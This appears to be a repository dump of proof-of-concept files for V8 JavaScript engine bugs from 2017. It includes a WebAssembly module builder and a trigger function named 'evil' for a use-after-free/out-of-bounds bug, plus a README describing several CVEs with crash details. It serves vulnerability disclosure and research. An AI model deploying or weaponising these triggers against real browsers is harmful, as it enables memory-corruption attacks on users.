 988 |       binary.emit_section(kDataSectionCode, section => {
 989 |         section.emit_u32v(wasm.segments.length);
 990 |         for (let seg of wasm.segments) {
 991 |           section.emit_u8(0);  // linear memory index 0
 992 |           if (seg.is_global) {
 993 |             // initializer is a global variable
 994 |             section.emit_u8(kExprGetGlobal);
 995 |             section.emit_u32v(seg.addr);
 996 |           } else {
 997 |             // initializer is a constant
 998 |             section.emit_u8(kExprI32Const);
 999 |             section.emit_u32v(seg.addr);
1000 |           }
1001 |           section.emit_u8(kExprEnd);
1002 |           section.emit_u32v(seg.data.length);
1003 |           section.emit_bytes(seg.data);
1004 |         }
1005 |       });
1006 |     }
1007 | 
1008 |     // Add any explicitly added sections
1009 |     for (let exp of wasm.explicit) {
1010 |       if (debug) print("emitting explicit @ " + binary.length);
1011 |       binary.emit_bytes(exp);
1012 |     }
1013 | 
1014 |     // Add names.
1015 |     let num_function_names = 0;
1016 |     let num_functions_with_local_names = 0;
1017 |     for (let func of wasm.functions) {
1018 |       if (func.name !== undefined) ++num_function_names;
1019 |       if (func.numLocalNames() > 0) ++num_functions_with_local_names;
1020 |     }
1021 |     if (num_function_names > 0 || num_functions_with_local_names > 0 ||
1022 |         wasm.name !== undefined) {
1023 |       if (debug) print('emitting names @ ' + binary.length);
1024 |       binary.emit_section(kUnknownSectionCode, section => {
1025 |         section.emit_string('name');
1026 |         // Emit module name.
1027 |         if (wasm.name !== undefined) {
1028 |           section.emit_section(kModuleNameCode, name_section => {
1029 |             name_section.emit_string(wasm.name);
1030 |           });
1031 |         }
1032 |         // Emit function names.
1033 |         if (num_function_names > 0) {
1034 |           section.emit_section(kFunctionNamesCode, name_section => {
1035 |             name_section.emit_u32v(num_function_names);
1036 |             for (let func of wasm.functions) {
1037 |               if (func.name === undefined) continue;
1038 |               name_section.emit_u32v(func.index);
1039 |               name_section.emit_string(func.name);
1040 |             }
1041 |           });
1042 |         }
1043 |         // Emit local names.
1044 |         if (num_functions_with_local_names > 0) {
1045 |           section.emit_section(kLocalNamesCode, name_section => {
1046 |             name_section.emit_u32v(num_functions_with_local_names);
1047 |             for (let func of wasm.functions) {
1048 |               if (func.numLocalNames() == 0) continue;
1049 |               name_section.emit_u32v(func.index);
1050 |               name_section.emit_u32v(func.numLocalNames());
1051 |               for (let i = 0; i < func.local_names.length; ++i) {
1052 |                 if (func.local_names[i] === undefined) continue;
1053 |                 name_section.emit_u32v(i);
1054 |                 name_section.emit_string(func.local_names[i]);
1055 |               }
1056 |             }
1057 |           });
1058 |         }
1059 |       });
1060 |     }
1061 | 
1062 |     return binary;
1063 |   }
1064 | 
1065 |   toBuffer(debug = false) {
1066 |     let bytes = this.toArray(debug);
1067 |     let buffer = new ArrayBuffer(bytes.length);
1068 |     let view = new Uint8Array(buffer);
1069 |     for (let i = 0; i < bytes.length; i++) {
1070 |       let val = bytes[i];
1071 |       if ((typeof val) == "string") val = val.charCodeAt(0);
1072 |       view[i] = val | 0;
1073 |     }
1074 |     return buffer;
1075 |   }
1076 | 
1077 |   instantiate(ffi) {
1078 |     let module = new WebAssembly.Module(this.toBuffer());
1079 |     let instance = new WebAssembly.Instance(module, ffi);
1080 |     return instance;
1081 |   }
1082 | 
1083 |   toModule(debug = false) {
1084 |     return new WebAssembly.Module(this.toBuffer(debug));
1085 |   }
1086 | }
1087 | 
1088 | var builder = new WasmModuleBuilder();
1089 | builder.addMemory(0, 333);
1090 | builder.addFunction('evil', kSig_i_v)
1091 |     .addBody([
1092 |       kExprI32Const, 0x3f,                       
1093 |       kExprGrowMemory, 0x00,                     
1094 |       kExprI32LoadMem, 0x00, 0xf0, 0x25,
1095 |     ])
1096 |     .exportFunc();
1097 | var module = new WebAssembly.Module(builder.toBuffer());
1098 | var i1 = new WebAssembly.Instance(module);
1099 | try{i1.exports.evil();}catch(e){};
1100 | var i2 = new WebAssembly.Instance(module);
1101 | alert("1");
1102 | i2.exports.evil();
1103 | 
1104 | </script>
1105 | 


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
 1 | V8_November_2017
 2 | 
 3 | Some V8 vuls which they were fixed in about November 2017.
 4 | 
 5 | CVE-2017-5070
 6 | 
 7 | https://bugs.chromium.org/p/chromium/issues/detail?id=722756
 8 | 
 9 | Chrome version: 58.0.3029.110 Channel: stable
10 | 
11 | This problem belongs to the crankshaft,in the latest V8 version(16th May 2017)(use crankshaft to JIT),I can reproduce this issue.At this version,the chrome use crankshaft to JIT.
12 | 
13 | CVE-2017-15399
14 | 
15 | https://bugs.chromium.org/p/chromium/issues/detail?id=776677
16 | 
17 | https://chromium.googlesource.com/v8/v8.git/+/5f960dfc06a7c95af69e2b09f772b2280168469b
18 | 
19 | VULNERABILITY DETAILS
20 | 
21 | This is a Use After Free Vul in V8.More information please see the html file.
22 | 
23 | VERSION
24 | 
25 | Chrome Version: 62.0.3202.62 Stable (32bit)
26 | 
27 | Operating System: [Windows 10 1703 64bit] 8G Memory
28 | 
29 | 
30 | CVE-2017-15428
31 | 
32 | https://bugs.chromium.org/p/chromium/issues/detail?id=782145
33 | 
34 | https://chromium.googlesource.com/v8/v8.git/+/55a98076827edac8eba775f8025df3749bcd8367
35 | 
36 | VULNERABILITY DETAILS
37 | 
38 | There is a type confusion problem in the String.prototype.replace runtime call.If we change the RegExp type(from fast regexp to slow regexp),we will also go to the fast regexp code path.At last,this will cause OOB Read Write of the lastIndex.
39 | 
40 | VERSION
41 | 
42 | Chrome Version: 62.0.3202.89 Stable 64 bit
43 | 
44 | Operating System: Windows 10 1703 64bit
45 | 
46 | REPRODUCTION CASE
47 | 
48 | In the debug build,it will crash in CSA_ASSERT(this, IsFastRegExp(context, regexp)) of the function TF_BUILTIN(RegExpReplace, RegExpBuiltinsAssembler);
49 | 
50 | In the release build,it will crash in the address 0x300000008,and please note that,this addresss we can control it through control the lastIndex value.
51 | 
52 | CVE-2017-XXXX(duplicate with chromium worker)
53 | 
54 | https://bugs.chromium.org/p/chromium/issues/detail?id=782102
55 | 
56 | https://chromium.googlesource.com/v8/v8.git/+/b60438869987952083597c2ce55a9abdba19d557
57 | 
58 | VULNERABILITY DETAILS
59 | 
60 | This is a OOB Read Write Problem in V8:WebAssembly.
61 | 
62 | VERSION
63 | 
64 | Chrome Version: 62.0.3202.89 Stable Operating System: Windows 10 1703 64bit
65 | 
66 | REPRODUCTION CASE
67 | 


--------------------------------------------------------------------------------